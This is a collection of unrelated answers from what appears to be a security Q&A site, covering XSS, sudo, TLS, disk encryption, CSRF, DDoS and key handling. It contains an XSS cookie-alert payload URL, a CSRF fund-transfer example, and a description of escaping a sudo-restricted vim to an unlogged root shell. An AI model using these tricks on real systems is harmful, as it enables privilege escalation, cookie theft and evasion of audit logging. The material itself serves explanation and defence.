The server does not parse JavaScript except under very specific circumstances (i.e. you run NodeJS and you eval() a user input. Someone would have to be bloody stupid to do that or have a very valid reason to do so). So, the server does not see/care about the actual content of the code, and it won't be executed server-side. The reason for something like this is that, usually, user values are usually echoed somewhere on the page - this is why you pass them through an URL or store them on the server - so that they are used. When the server has sent its reply, the browser then runs whatever code it gets.
Indeed, you are correct on this. The hashtag is never sent to the server; however, there may be some client-side processing, most notably with MVC libraries like Spine.js. These things use the hashtag value to store history elements and perform actions based on them - like showing pages, doing stuff or echoing code.

You'll notice that in both cases, the vector is "echoing code". The entire purpose is to get an extra script tag on your page, where it will run and alert cookies. The first one, once corrected, is a very good example of another flaw:

http://www.vulnerable.site/welcome.html?foobar=&name=<script>alert(document.cookie)</script>&name=Joe

This request has two name parameters. HTTP pollution? Likely.


Have a look at Android Verified Boot. It's available since Android 4.4 and prevents tampering with the bootloader (via hardware root of trust) and warns you if unauthenticated changes have been made.

I don't know where it is available and how easy it is to use. This is up to the vendor. It probably won't work with custom ROMs unless the vendor implemented Class B meaning the device can be unlocked and flashed (boot state ORANGE, see https://source.android.com/security/images/verified_boot.png).


Allow ModSecurity to pass specific HTML tags?

When normal behavior of the application is blocked by the rule set, this is called a false positive. The article Handling False Positives with the OWASP ModSecurity Core Rule Set may be of help to you. It describes how to identify the rule that blocks valid requests and to disable it using the SecRuleRemoveById configuraiton directive.


One possibility is that sudo was configured to only execute certain applications - you can find examples of this in the sudo manual.

If one of these was vim, but bash was not an option then the user could not run sudo -i or sudo bash but would be able to run sudo vim. However, once done, vim would have an effective uid/gid of 0/0 and quite happily let you run a root bash shell.

This means, as you would expect, that you can actually edit the sudoers file to remove that restriction.

Of course, another thing to note about this trick is the lack of logging. Sudo has run vim, and it will log that fact, but it will not log whatever processes vim chooses to spawn after that! So even if you're not restricted in running the shell, this is a way to disguise what you are doing.


Amazon Elastic Load Balancer and mutual authentication

Old question, but I'm studing a similar architecture on AWS, and has been a long journey.

The first question to answer is if is possible to configure AWS load balancers (ELB at the time, ALB and NLB now) to perform mutual TLS authentication.

This requires understanding of the mutual TLS authentication works. A google search can help you more than a thousand words.
To recap, in mutual TLS after the normal TLS flow, the client presents its certificate to the server. The server, upon receiving a valid and trusted certificate, extract identity information from the certificate.

In this model, the server terminating the TLS connection is the one "authenticating" the user.

Second question is how to configure AWS LB to do that.

TL;DR: I would say it can be done, but YMMV. I didn't build such a system, just studied documentation.

To achieve this we need some prerequisites:

being able to perform TLS termination at the LB
support PROXY PROTOCOL (both LB and backend application)
use the certificate Common Name (or SNI) as identifier for authentication

TLS termination is supported by all AWS load balancers (since Jan 2019 NLB support this too).

This allow the client to connect successfully to the LB and have a successful TLS handshake (with a valid certificate of course).

At this point the identity of the client is known to the AWS LB.
We need to propagate this information to the backend server where our application is.

Here comes the PROXY PROTOCOL. From my understanding, thanks to field PP2_TYPE_AUTHORITY we can get the SNI and thanks to PP2_SUBTYPE_SSL_CN we can get the certificate Common Name. Those are referred as Type-Length-Value (TLV vectors) in the Proxy Protocol doc and available since revision 2017/03/10.

From the AWS docs, PROXY PROTOCOL can be configured for Classic LB and NLB Target Group.

This allow our backends to receive information about the identity of the client. The backend should then "trust" the information in the PROXY PROTOCOL to authenticate it.

We also need to make the LB aware of our certificate and trust chain. Thanks to AWS Certificate Manager we can import our certificate (body, private key and chain). After import we are able to use it as certificate in Classic LB listeners and NLB Target Groups. You either can get it from a vendor or generate it yourself, as long as  your device trust the server certificate (ie a custom CA added to the client trusted store).

At this point all pieces should be in place:

we are terminating TLS at the LB
we are forwarding client identity to our backends (needed to authenticate client in our application)
we are using our certificate and chain (needed to use our client certificate)

Hope it helps and please point any possible error in my reasoning. I'm still not 100% sure this would work, in particular because documentation around what is included in Proxy Protocol header from AWS LB is lacking. Is documented for Classic LB and NLB but no information is provided on TLV related to SSL (even if those are supported in Proxy Protocol v2).

A security notice: when terminating TLS at your backend servers, traffic is encrypted from device to backend. If you perform TLS termination on LB (whereas yours or AWS ones) you are obviously decrypting in before it reaches your backend server. You may use LB Backend Authentication on Classic LB, but it seems is not available for ALB or NLB. I have no knowledge of a similar feature for ALB or NLB.
I was able to find this 2016 answer by an "Amazonian" in the AWS developer forum stating that a MITM in a VPC is impossible because:

  ARP poisoning is impossible due to the lack of broadcast in VPC, and IP spoofing is similarly impossible within VPC (this is because instances are not permitted to send traffic with a source IP or MAC which is not its own).

Further information is surely available if you want to go down the rabbit hole (ie this blog post of AWS Security about PCI DSS compliance and AWS VPC).


They are both vulnerability tracking databases, if a vulnerability is registered in both databases it has both identifiers. There is no other correlation. OSVDB did track a much larger number than CVE (in part due to how MITRE assign CVEs) which is probably why you come across entries that only have OSVDB.

You could say it is similar to how different anti virus vendors have different identifiers for the same malware.


Is there a nmap command to get the top # most common ports?


What is the traffic volume of practical DDoS attacks

Link11 (a European security firm providing DDoS protection) reports that in 2020 the bandwidth of an average attack to their customers was about 5 Gbps, and the maximum bandwidth was about 400 Gbps. Source: https://www.helpnetsecurity.com/2020/04/20/ddos-attacks-increasing/

A recent post on Cloudflare's blog reports that over 60% of the attacks are under 500 Mbps, and almost 30% of the attacks are between 500 Mbps and 10 Gbps. The largest attack they have seen recently was about 550 Gbps. Source: https://blog.cloudflare.com/ddos-attacks-have-evolved-and-so-should-your-ddos-protection/

What does that tell you? Not much. It just tells you that cyber criminals can afford a lot of bandwidth, but most of the time the attacks just need a few Gbps to be effective. From the above article by Cloudflare:

  Even though 10 Gbps from an attack size perspective does not seem that large, it is large enough to significantly affect a majority of the websites existing today".

It's difficult to come up with specific examples or general answers to your questions though. There are a lot of different types of DoS attacks, at different levels and with different techniques. Some use empty packets, other use specific packets, other target specific high-level protocols, other focus on the application rather than the network, and so on. So if you have a 10 Gbps attack, that's 10 Gbps of... what? Bogus TCP packets? SMTP connections? HTTP requests to a large image file? HTTP POST requests to run a cpu-intensive task? Who knows. So your question is way too broad.


Can't decrypt captured HTTP connection from WPA Network

With WPA Networks each connection is encrypted with a unique key. The PSK is only there for authentication and encryption of the initial process of key generation for the connection. Because of this you can't decrypt traffic by only knowing the PSK; you also need to capture the 4-Way-Handshake of everyone connected in order to decrypt their traffic.

What you are currently able to decrypt is broadcasted traffic only. This traffic can't be encrypted with the connection specific keys therewith everybody connected to the AP needs to be able to decrypt them. This is why you are able to read these packets content.

Also it's not that easy to usefully sniff encrypted wireless traffic. When you are connected to a WLAN and a packets checksum is bad, your operation system will ask the AP to resend the packet until you receive it in an ideal state. You can't do this when you are passively sniffing the traffic. So it very often happens that you miss some part of or a whole conversation due to incorrectly received packets. You need a good antenna and good signal quality.

// I suggest you to use airdecap-ng to decrypt wireless traffic instead of wireshark.


Yahoo Security Breach Affecting 500,000,000+ Accounts: Why would they believe it was "state-sponsored"?

That Yahoo claims that the attack was state sponsored does not mean that it was state sponsored, or even that them themself believe it was. The reason for why they would claim this lies somewhere on a continium between two extremes:

Yahoo were completely incompetent and vulnerable. There is no way they are going to admit to the world that the thief was a 15 year old working from his mothers basement, so to make it look like it's not their fault they are portraying the attacker as extremely dangerous and competent, which is exactly what "state sponsored" implies.
Yahoo were in fact very competent, but the attackers used very advanced methods (0-days, computaionally expensive crypto cracking, etc) so it is in fact reasonable to believe that the attackers would need to be sponsored by someone with a lot of resources - i.e. a state - to be able to pull it off.

As Micheal mentions in his answer, Stuxnet was an example of #2. That time Comodo claimed they had been hacked by a foreign state but it was in fact a 21 year old Iranian student is an example of #1.

Where on this scale Yahoo falls is anybodys guess.

As to what state: In case of #1 no state at all. In case of #2, they would not have to know what state it was just to suspect that a state was involved. The key point here is that "state sponsored" is just code for "someone with loads of resources".


How to determine the minimum Linux Kernel version required for a given vulnerability

Someone has to analyze the code manually to find out when the vulnerability was introduced. If someone isn't telling you what version it was introduced in (which usually is only the case with high-profile vulnerabilities where someone wants to proudly proclaim how insecure and scary something is), you have to do it yourself. Unfortunately it's not always as simple as a single line with a vulnerability being added, but rather interplay between multiple components leading to an exploitable situation.


Is it OK to use two halves of a key independently?

Yes. The documentation for GenerateDataKey says it generates symmetric keys, and those are generally required to be indistinguishable from uniform random data. So for practical purposes, the two halves of the 512-bit key you generate are random and independent from each other, and thus the same as if you'd generated two 256-bit keys separately.

Think of it as equivalent in practice to flipping coins. You want 256 coin flips for an encryption key, and another 256 for a MAC key, and you want to hire Mary to flip coins for you. Do you hire her once to flip 512 coins, or twice to flip 256 coins each time? It doesn't matter...

(The fact that it's symmetric keys is a relevant assumption because if this were, for example, RSA keys or some other variety whose keys aren't just uniform random bits then it'd be a whole different answer.)


How can AES-CBC be used for LUKS encryption, when the ciphertext is not static?

This is actually a quite tricky problem with no perfect solution.

If the file system was one were data is written only once and written entirely sequential, a single CBC encryption all the way from the start of the media to the end would be suitable. You can do random access decryption of CBC, you just need to read one additional cipher block. This could work for encrypting something like ISO9660.

But when random access writes are required, doing a single CBC encryption of the entire media won't work.

Ways of choosing an IV

Instead one has to encrypt each sector with a new IV. This does lead to a new problem, which is that the encrypted data is larger than the plaintext. If the underlying media was designed to be used with a secure encryption, it could very well have been designed to use slightly larger physical sectors in order to solve that problem. I haven't come across any media where this is the case. CDs do have an unusual physical block size, but the historical reasons for this are not related to encryption.

Faced with the problem of where to store the IV, various ways of cutting corners have been seen. The first and very poor approach was to simply use the sector number as IV.

The sector number is predictable. And an adversary can easily construct data patterns which will cause IV on neighboring sectors to cancel out with patterns in the data and result in two neighboring sectors on the encrypted media having exactly identical ciphertext. Multiple storage encryption products have had this vulnerability.

A slightly better approach is to encrypt the sector number and use that as IV. If you only have a single snapshot of the encrypted media, I don't know of any way to exploit this. However backups, remapped sectors on hard drives, wear leveling on SSD, use of SAN, etc. can lead to scenarios where an adversary can see more than one ciphertext encrypted using the exact same IV. At that point it will be visible to the adversary how many cipher-blocks from the start of the data is identical between the two versions.

An even better approach is to compute a cryptographic hash of sector number and all of the plaintext - except from the first block of the sector. Then encrypt the hash and use as IV. So if you are using AES which has a block size of 16 bytes, and you encrypt sectors of 512 bytes, you would hash the sector number and 496 bytes of the sector. This means IV reuse only happens if you write the exact same data to the exact same sector number. This is still a leak, though a very minor one compared to simply using sector number as IV. Unfortunately the hashing step increase the CPU usage for this approach.

Using a random IV

You can use a random IV if you can somehow store the additional data. But if physical and logical sectors have identical sizes, this means every time a plain-text sector is written, you have to write two physical sectors. This is a major problem because if a write operation is interrupted, you lose data. Write behind caching can address the slowdown associated with multiple writes being needed, but it makes the risk of data loss even worse.

Journaling could solve the data loss problem. But at that point you would be moving lots of functionality into the encryption layer, which you'd usually want at a different layer.

GBDE is the only example I know of using a disk layout in which each logical sector is stored as the full 512+16 bytes on disk. This means each 32 logical sectors are stored as 33 physical sectors. It was however designed without the journaling layer, which means there is a risk of data loss. Moreover the author of GBDE invented his own PRNG which turned out to be weak, so it isn't a great example of how to design a storage encryption.

Alternatives to CBC

The many cases of poorly chosen IVs for CBC have lead to a fairly common perception that CBC is weak. For those reasons alternatives to CBC have been considered for storage encryption. However some of the alternatives which have been proposed are even worse, for instance it has been proposed to use CTR mode which generates a pseudorandom one-time-pad. Simply using this to encrypt a media will lead to parts of the one-time-pad being reused each time you write to a sector which has previously been written.

Most usage of CBC in storage encryption as well as all the alternatives I have seen all have one thing in common. They encrypt a logical plaintext sector to a single physical ciphertext sector of the same size. This means none of them can achieve semantic security.


Disable directory browsing using Apache htaccess file

Allowing Indexes doesn't only allow disabling them, it also allows quite a bit of other options which could increase the attack surface.

Also, just setting AllowOverride to anything but None has a performance penalty as Apache now looks for .htaccess files in each directory of the requested file's path.


SSL certificate: would this self-signed cert alternative be secure?

Here is what I think.

Imagine a rogue attacker uploading certificate for google.com to this central website. Now, on poisoning DNS records, it can redirect clients to a rogue server and capture all encrypted transactions. This attack would fail with the current scheme because the certificate presented by the rogue server (as google.com) would not match that in the trusted store.


Stopping Spammers From Using My Website's Messaging

This is an age old battle I'm afraid, well as old as the internet at least!

The comments pretty much add up to the answer, but in an attempt to summarise;

Having things in place to stop automation is good, but will not stop all spam successfully, and not just spam, but messages which breach your terms of use (I'm guessing passing direct communication details for example?).

If you have a small number of messages to deal with currently, then passing them through a "human filter" is a possibility, but this could become a problem as the number of messages increases.

At that point you could explore other options such as community moderation, or automated things such as keyword matching, rate limiting etc.

You could establish an algorithm for triggering the human filter. For example, you might decide that if a new user sends messages to x number of servicers in y amount of time, that a human should look at the messages.

tl;dr;
Only you can say for definite what constitues and a message you would like to prevent/detect, and while automation prevention is essential, you may want to pass messages/users which match specific criteria through a check by a human.


Is using Basic Authentication in an iOS App safe?

Will the username and password be stored in any history or logs?

Commonly authorization headers are not logged but, of course, one could configure the application or server to log these data. Thus check your setup.

As for storing in the history: In case of a browser, such credentials will not be stored in the history but might be stored similar to cookies and automatically sent when visiting the site. Yet, since you are not using a browser but your own app, it is up to you how you manage this information.


How do I know a new host key is safe to accept?

A couple of possibilities:

Backup and restore the keys. I use a script to backup both public and private keys in an encrypted archive (tar.bz2) file to a local server over rsync.
Use a set of private keys and reuse them across systems - probably not a good idea unless the area is secure and the chances of MITM are slim.
Use keys signed by a trusted certificate (e.g. https://www.digitalocean.com/community/tutorials/how-to-create-an-ssh-ca-to-validate-hosts-and-clients-with-ubuntu)
Finally, you could use a key management system or even a script to pull the key fingerprints from a central server before attempting to connect. I never tried it myself, but I do have a script-override to deal with some other SSH stuff. Instead of using SSH directly, I use this aliased script to connect to target host.


What is a "proof of concept" file to report security issues?

A PoC, or Proof of Concept provides a work example of the vulnerability being exploited. PoCs are provided to give concrete examples of, well, the concept. For example, I can say I have XSS on a web application, I can point to the parameter that is passed in the URL, but the PoC provides a work example of the XSS.

This is important for a few reasons. One, it provides credence to the security claims. Two, it provides those developers who have to find and fix the problem a test case so that they can track down the problem and validate the fix. Three, it's a good use of everybody's time, yours and theirs, to have a PoC.

One thing to keep in mind about PoCs is that they are not full-blown exploits, but an example of what can be done. In the XSS above, a PoC would be alert(document.domain) to show I have control over the DOM. In buffer overflows, a PoC would be getting EIP to point to 41414141.


How to replace an old password hashing method with a newer one in software?

This is a common problem.

The usual answer is twofold:

For users who haven't logged in since the change: use the old hash value as the input for the new hashing scheme.
Whenever somebody logs in after the change: Use the new password directly as input for the new hashing scheme.

Use an additional column in the new table to indicate how the new hash was calculated.

Further reading

Hash function change
https://stackoverflow.com/questions/14399750/moving-old-passwords-to-new-hashing-algorithm
https://stackoverflow.com/questions/8864239/how-to-migrate-passwords-to-a-different-hashing-method
https://stackoverflow.com/questions/6469913/how-to-migrate-a-password-hash
https://webmasters.stackexchange.com/questions/1062/migrate-user-accounts-out-of-system-with-hashed-passwords


Putting the Biba-LaPadula Mandatory Access Control Methods to Practise?

I tend not to pay much attention to textbooks that recommend Bell-Lapadula or Biba multi-level security.  Those schemes are impractical for most real-world settings.  They make some beautiful theory, but they have not worked out well for general-purpose computing in practice.

Bell-Lapadula and Biba models have several major problems.  Here are two of them:

They get in the way of useful work. The combination of Bell-Lapadula and Biba is the worst; it prohibits writing up or down, and prohibits reading up or down.  Thus, it basically corresponds to creating multiple databases, segregating your data, and prohibiting any application from accessing more than one database.  That's horribly unrealistic and rules out its use in most real systems.
They don't provide the security they claim.  In practice, such systems always have covert channels that can be used to subvert the security "guarantees" that are supposed to be provided by a multi-level security system.

See the chapter on Multilevel Security in Ross Anderson's Security Engineering book for a lot more discussion on these practical problems, and some hard-earned experience.  Ross has put this chapter from the first edition of the book online, so you can check it out.  If you find it useful, buy the latest copy of his book; the second edition adds a lot of useful information, and the book is simply brilliant, perhaps the most insightful book on computer security I've ever read.

Bottom line: Bell-Lapadula and Biba aren't very practical, so you can safely ignore them for most settings.


MySQL BACKRONYM (CVE-2015-3152) only affects MySQL client?

That's right, the issue lies in the database client, but you don't need to configure it. The problem is that when you tell it to connect using SSL, via "--ssl" or some other option that implies its usage, the client tries to use it, but will still try to connect via plaintext if the server tells it that it is not configured to use SSL. The fix just enforces the client to ONLY connect IF the server accepts the usage of SSL (when that "--ssl" or some other option that implies it is used).

Original advisory: oCERT


You need to be aware, that TOTP is derived from HOTP (RFC4226), which was RFCed in 2005. This was the time, when smartphones have not been around, yet!

The algorithm was NOT designed for the Google Authenticator! but for hardware tokens, which would not be connected to a computer or would have no internet connected. So you would have to use the human optical interface, the eye and the typing fingers.

When thinking about it a bit, you will realize, that in this scenario, where you want to be able to type in a one time password, this must be generated from a symmetric key, since in the process of creating the OTP, there is a truncating involved (so that the OTP is short enough that it is fun typing).
If you were using assymmetric crypto to create an OTP, the truncation would destroy your crypto.

Yes, PKI, smartcards would be even better, but you will not get happy with the driver hassle in many scnearios.

So of course, if the attacker gets access to the authentication system or the database, you are lost. But if the attacker gets access to your secret documents in the backend, you need not to worry about 2FA. So the question is, which threat models you want to mitigate. And there are still a lot out there, for which a one time password algorithm based on a symmetric key works pretty well.


How do you know a computer is not compromised when you first get it?

You don't. Some vendors do indeed ship backdoors with their products, and many computers come with "crapware" pre-installed as a source of revenue for the manufacturers. Even apps that don't contain a backdoor can cause other damage (e.g. Browser toolbars that track browsing).

Same concerns apply with hardware, especially in networking equipment.

What you can do:

Re-install a "clean OS" onto any new computer. This probably means buying a new, vanilla copy of an OS that you have already paid for (the factory image that ships with the computer will also contain the original "crapware", unless you pay extra to not have the crapware).
Re-install a more trusted OS onto a new computer (unless you write your own OS, you have to trust someone at some point). Ubuntu, Security-Enhanced Linux, whatever you trust.
Use only hardware that you trust. This usually means avoiding hardware that is made in countries hostile to yours. Huawei (a Chinese networking equipment manufacturer) is finding it difficult to prove that it is trustworthy enough to supply some governments.


Are there any security problems with Google false start for TLS?

The gist of "TLS false start" is that, at the end of a normal TLS handshake, each party sends a Finished message to the peer, and should wait from the Finished from that peer before sending application data. "False start" removes that "should wait". Each party may then send application data right away. This implies a lower latency if the party which sends the Finished first is also the one who would send applicative data first.

Note that there are two kinds of TLS handshakes, the "full" and the "abbreviated" handshakes. The latter is used to "resume" a TLS session, namely to recompute a new session key over an already exchanged master key; the abbreviated handshake uses only symmetric cryptography and requires less network exchanges. A point which is worth noting is that in a full handshake, the client sends its Finished message first, whereas in an abbreviated handshake, the server sends its Finished message first.

In the context of HTTPS and Web sites, the client (a web browser) normally initiates a single full TLS handshake. Then the client may also open a few other parallel connections, this time using abbreviated handshakes. Each connection will be used to send several HTTP requests. If a connection timeouts, the browser will open a new one using yet again an abbreviated handshake. Since HTTPS is HTTP-within-TLS and HTTP begins by a request from the client, the "false start" optimization yields any improvement only for the very first HTTP request within the very first TLS connection to the server. This is not really a free lunch, rather a free appetizer, at most.

Cryptographically speaking, what happens with false start is that the client accepts to send its data (the HTTP request) before having confirmation that it really talked to the true server: at that point, from the client point of view, the server is implicitly authenticated. The applicative data is encrypted with a session key derived from a key exchange which used the authenticated server public key (the one from the server certificate) so there is no real risk that an impersonating attacker could gain information that way, at least as long as the key exchange algorithm and symmetric encryption algorithm are secure. However, the client does not have any proof, when it sends its request, that the intended server is really aware of the connection attempt. This is harmless in the context of HTTPS. It would be bold to assume that there is no harm in it generically.


Yes, it is a true CSRF attack.

Keep in mind, a CSRF attack is designed to happen with an external forged link sent to somebody that's already logged in, to make them do an action in their session they didn't intend to do.

Classic example would be your banking website, you would be logged in, and somebody would send you an external email with a forged link.

So you receive that forged link in your email, you click on the link, it opens a new tab in your browser, assuming you're already logged in, and the command in the URL gets executed right in your bank's current session.

For example the way to transfer funds via a GET query could be something like: https://mybankingwebsite.com/transfer/500/to/attacker-bank-account

So now anybody that is using your bank, and that's logged in, and clicks on that link, will be sending 500$ to the attacker-bank-account. But it wasn't you that wanted to do that command, the link came from somewhere else, but it gets executed in your logged in bank account context. That's a CSRF.

Facebook used to be vulnerable to CSRF attacks as well, and a lot of other sites. For example, a forged link in Facebook could result in you posting something on your wall that you never intended to.


SSH Log: "Accepted password for user..."

That port number is the client's source port, not the destination port.


Is there any reason someone wouldn't use a longer key?

Each bit of a key increases the difficulty of a brute-force attack exponentially but there is a trade-off. Adding more bits to the key will negatively effect the speed of encryption/decryption. The actual amount of this speed loss depends on the algorithm, for example in RSA (in theory) for a n-bit key, computational effort for encryption is proportional to n^2, while effort for decryption is proportional to n^3, so doubling the key in RSA means that encryption will be four times slower, and decryption will be (almost) eight times slower.

Another thing I think is worth mentioning and thanks for Perseids for pointing it out.
There is a limit where more time needed to break the algorithm becomes meaningless, because for practical purposes it is already "forever". As a "real world" analogy imagine you are packing rations for a short trip in the desert and are deciding how much water you want to take with you. For a small amount of water "more is better" is a reasonable approach, because you might need to stay longer than planned or spill some water. But when you already take the whole Amazon with you then increasing that amount to all the water on the planet does not help. That are the dimensions we are talking about when someone tries to convince you to use 8192 bit RSA.

(Diagram from Javamex)

For elliptic curve algorithms, we assume that finding the discrete logarithm of a random elliptic curve element with respect to a publicly known base point is infeasible. The primary benefit of ECC is in fact the smaller key size e.g., a 256-bit ECC public key should provide comparable security to a 3072-bit RSA public key. Based on the fact that the main algorithms used to solve ECDLP (e.g baby-step giant-step) need n^(1/2) steps, increase/decrease in n-bits will affect de/encrption speeds.

As for your side question, I wouldn't worry too much but considering you are talking about length, "longer" is preferred.


So essentially this comes down to whether the patch is delivered as a set of replacement files, or a set of "binary diffs" to be applied to the existing files.

It's usually easier to update an arbitrary earlier version of the software from the replacement files. For example if you have 1.0.2 of a component and the patch delivers 1.0.7, with the replacement you just go ahead and install that. With diffs you must (often) go via 1.0.3, 1.0.4 etc. I remember Solaris' patching mechanism having this interesting feature (and having to install each part manually, before PatchPro was released).
It's usually quicker to download the binary diff updates.
A replacement component install is more likely to succeed if the original files have been modified somehow. However, you shouldn't be relying on the patch manager as your integrity checker anyway.

In fact, in my experience the "security" of a patch comes down not to the installation mechanism (except that automated usually beats manual), but to these two things:

Most importantly, the latency between availability and installation of the patch. See, for example, the Slammer worm.
The amount of testing done by the vendor before distributing the patch.


Safety in Access Control Matrix and Take-Grant Model

I'm gonna try to answer you separately:

Access Control Matrix

Q: "Could you say that in this matrix, the right r of S1 over O1 is leaked to S2 (because S2 can use S1 to access O1)?"

A: No. If you consider the execution right to behave like a take right, then yes, S1's reading rights over O1 have leaked to S2, because originally S2 had no rights over O1. But the papers i could find only showed that behavior when S2 had own rights over S1. Therefore, your example S1 rights would not leak to S2 because S2 did not have own rights over S1.

Take-Grant Model

Q: "In the take-grant model, can a system only ever be safe if for every subject S1 that has right t over another subject S2 it also has all the rights S2 has over any objects and subjects?"

A: That is correct. Remember that, according to definitions 3-1 and 3-2 in the document you linked, the security of your system is calculated on a right-by-right basis. If you convert it to a Turing Machine, your system is considered safe when, given all the possible operations, starting from an initial state s0, it is not possible to achieve a state sN where a Subject has any right that it did not have originally.
To put it clearer:

  Is there an arbitrary sequence of commands that adds a generic right into a cell of the access matrix where it has not been in the initial configuration?

I think that the graph you created was not very didactic. If you're willing, the second link i post here gives a better notion of the available operations and the possible resulting graphs.

The third link references the original paper that described the Take-Grant model. In this paper, they use the name "call" in one of the described commands. You should note that this operation is related to the right of creating new nodes in a graph, it is not the concept of execution right we used above, ok?

References:

https://www.cs.columbia.edu/~smb/classes/f05/l03.pdf
http://www.volkerroth.com/ss09-itsec/03.pdf
https://cs.nmt.edu/~doshin/t/s06/cs589/pub/2.JLS-TG.pdf


Does a bitlocker pin become part of the key?

Bitlocker uses an encrypted key stored on the disk, wrapped with one or more encryption keys.  This could be a key stored in the TPM, protected with the PIN, or the full Bitlocker encryption passphrase (startup password).  Which keys are available depends on the configuration you have setup.

I'm not aware of any FDE scheme that derives the actual encryption key from any user input (passphrase, PIN, etc.).  Doing so would make it impossible to change the passphrase without re-encrypting the data, which is time consuming, not great for SSDs (wear leveling) and not to mention the mess created if your computer crashes mid re-encryption!

For example, Truecrypt has a header area including the master key that is encrypted with another key derived from the passphrase.  PBKDF2 is used on the user passphrase to derive an AES key.  This AES key is used to decrypt the header and receive the master key, which encrypts all of the data.  If the passphrase is changed, only the header needs to be re-encrypted.


Does Kismac 0.3.3 (0.3.3) work on Mac OSX 10.8.2

Apparently there are some issues with KisMAC on 10.7 and later, so you should grab the r407 nightly build from the wiki.

Also check that your wifi card is supported. The Alfa AWUS036H (RTL8187L USB chipset) is listed as supported, but doesn't actually work on Mac OS 10.6.7 or later. The internal wifi card on MacBooks is also known to work with certain Apple drivers, but I don't know which. I'd suggest looking for a USB wireless dongle that uses the Ralink RT2570 or Ralink RT73 chipset, since they seem to be best supported.


Can I trust a security hash implementation after testing it with random inputs against another implementation?

Assume the library author can be trusted. Given my random input test above: how likely is it, that the author accidentally introduces a bug with the effect that there are inputs for which a wrong hash is calculated?

Being trusted does not imply that the author of the software is a competent programmer which knows all possible pitfalls. This means if you rely only on trust you cannot know the likeliness of introducing a bug. And since such bug might only occur in rare cases like a race condition or some integer overflow there is no guarantee that you will trigger the bug with your random test cases.

  Assuming the library author cannot be trusted. Given my random input test above: how likely is it, that the author has purposely introduced a backdoor of some kind?

If the backdoor gets only activated with a specific input you will never find out without thoroughly inspecting the code. And even code inspection might not help, see the examples from the Underhanded C Contest. This means it is possible to introduce such a stealth backdoor. But again, you cannot give a specific likeliness for this solely based on the information that the author is not trusted.

  Can I trust a security hash implementation after testing it ...

Based on the previous observations this question can not be definitely answered. Apart from that it depends a lot on what you use the library for: if it is just for getting some checksums in order to detect accidentally corrupted data your tests might be enough. If is used instead for purposes where software failure might lead to death, leakage of top secrets or malware infection of critical infrastructures than such tests are probably not sufficient, especially if you don't trust the author.


Namebench uses your cached browser info and there is an option to allow your anonymized results to be uploaded to Google, which you can turn off.

The bug tracker has no bugs related to malicious activity. The Python source code is available for everyone to inspect.

There is no reason to suspect this application of 'un-safe' activity.

What un-safe results do you wish to avoid?


This is happening because you have configured filters based on keywords in the URL. When accessing https://www.facebook.com, an encrypted connection is established with facebook's servers and your router cannot inspect the URL anymore.

You should try blocking facebook's IP range

  Following IP address ranges are known to be used by Facebook:

  66.220.144.0 - 66.220.159.255

  69.63.176.0 - 69.63.191.255

  69.171.224.0 - 69.171.255.255

  204.15.20.0 - 204.15.23.255

  Additional IP ranges which may be assigned to Facebook Inc.

  65.201.208.24/29

  65.204.104.128/28

  66.92.180.48/28

  66.93.78.176/29

  66.199.37.136/29

  67.200.105.48/30

  74.119.76.0/22

  173.252.64.0/18

IP list from here

UPDATE:
 If you are able to change your infrastructure, then you can consider using a web proxy or a SSL proxy as  GdD pointed out.


This is not going to work. According to the docs you have to set the key in the php config. That means all users will have the same key and that key would also be stored on the server. That is not what you want.


How can I safely print a keyfile on paper?

My suggestion would be to directly print Base64 and print a QR-code of the same Base64.
The plain base64 is a tedious fallback if all else fails. You could also print it using OCR fonts for better scanning.
The QR-code provides a simple paper to digital conversion format with built in error checks. If the base64 keyfile is too large for a single QR-code, split it into multiples.
This avoids proprietary tools.
Example:
#Make a 1KB (8K bits) file of random binary data to simulate a key
dd if=/dev/urandom of=binrand.bin bs=1K count=1
#Convert binary to Base64
base64 binrand.bin > binrand.mim
#Create a QR-code where -l {LMQH} specifie error correction level from L (lowest) to H (highest). (default=L)
qrencode -l Q -r binrand.mim -o qr.png
Print Page
Base64
HVLzBlR23pVoxpR1pAzoatQsblSEri35xIMrpSxBL2Sjcgy8slKeEtr6KaEevPjeMY/ZvlPcSxJA
G4cRt30ASAxQUIrLUyY/nAKLsWLUFqwUGQ2HJ/VIZ2PIcEDxNthq/LQJrSLeIiXfaGTFtGO7w1J2
qmPPzipXe4TS8PVz3yu0AiPPTrByv/JkkH0JFkld/llXJPK8ZK1lC8bKrrmfupzuckar7uF87WGU
lkkbcjwR0tPSRjk/MHcdDeX8fbvhECpGhlCcAD9IGa0otJRUfIoJ1QQh9ppZbdgEbuKwdbmYRaq4
uab4GlzAs8YDQsZifBrLf4eSZN9fdMIb35u7TFULYpUwqojRzehkUzPZWKscLGkP4PYPHYFnfo5k
Po6PPBpHypm8xkz+ZpCWCQl2MWRLUut9RoB9kFbDU6XdmIuFWGUHxGaVmYXWfDyYGnx3JMl4GEYO
EAlo/6e6haWr4YI7CB0E7rMjHvLVyPgWT0JHLNmN8a6PMZrkBDisINpGE0oyep7431Lt046urjzI
mU1c6NWVtIqw2dnn6Ps70pMtpFpoITl3CFtut7eGvmlnIVVOktv5po6i9C6QAC72LB4O7sCn9fLl
M7SX/YIY2hUC/9Nya+HZ7rVyw4YLy2HZ53stxEDxMKg4n7uZKxk3+zbnsXjZHiykooLa5s10rtpJ
dTxe32cvusdYWlDgJLyb5RqSSuG3PV8hhT9k6gYDrPG0ZvTaD4wBSrQivZNFCKnvbf8FOhEcMgfL
gvG2wSQ+TlE1Hh97+C1VxIcaqd+L4A8fFKVZ4qM6gnKNWbbZujqiCfFp0Azspd1DrOs0Ch1XJBEB
mfBeFPIcI5WFDNVp6eXdiS9xevPqlYjj+QEjYjrmfeDYEkEaYtSx5mL16kCpgd5m4FE2+FgwuYs4
H2ykqOi9zzDpPXiB3gvvXkhuw5dm8dP16ZDIg20ZAm4MqSSpwF/xiCyqw9eKNeIB+YDQ9I4hUpZ8
GWf/51pxbyUzB0cFgQ7uHut86CwEOMegjDwFZ5y46Loc5zgJCN04qk67srFA5/Jyd2uPJxJLd5Bh
VYbogQYPsOWBmx0yyXKzR5FyNBseSjOo7r5Q3HqHuwlGstS7MBwjnLWoUPOBjZfT/AwSAGqjhNUV
nliO7XqgfgCHXautAUBygZASj8Fqu5j5YDRUE7rLtrcBBoI8x9RIRwLpjkq3TydJ+x53bKmzS07P
stC2mLdmY+1iiKVp1Hc+dMGSghcdA5/HVCqrxfWktOCmd3utz8j0apWCCirznndgR63/fq4SihRt
c2irRgMxYBZPHKdjFZNCvNZMLg/R3j+3BWfOB3XLVg9WyqOeVH989Q/pGLecCZYqCIjBFho8FA==

QR-code


